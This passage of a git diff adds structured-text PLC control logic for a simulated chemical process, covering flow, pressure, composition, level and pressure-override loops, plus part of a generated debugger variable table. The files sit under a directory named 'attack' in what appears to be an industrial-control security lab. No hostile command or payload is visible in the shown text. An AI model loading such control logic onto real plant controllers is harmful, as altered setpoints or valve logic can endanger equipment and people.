UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c new file mode 100644 index 0000000..dea34ac --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c @@ -0,0 +1,798 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1144 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern __IEC_BOOL_t RES0__RUN_BIT; +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, 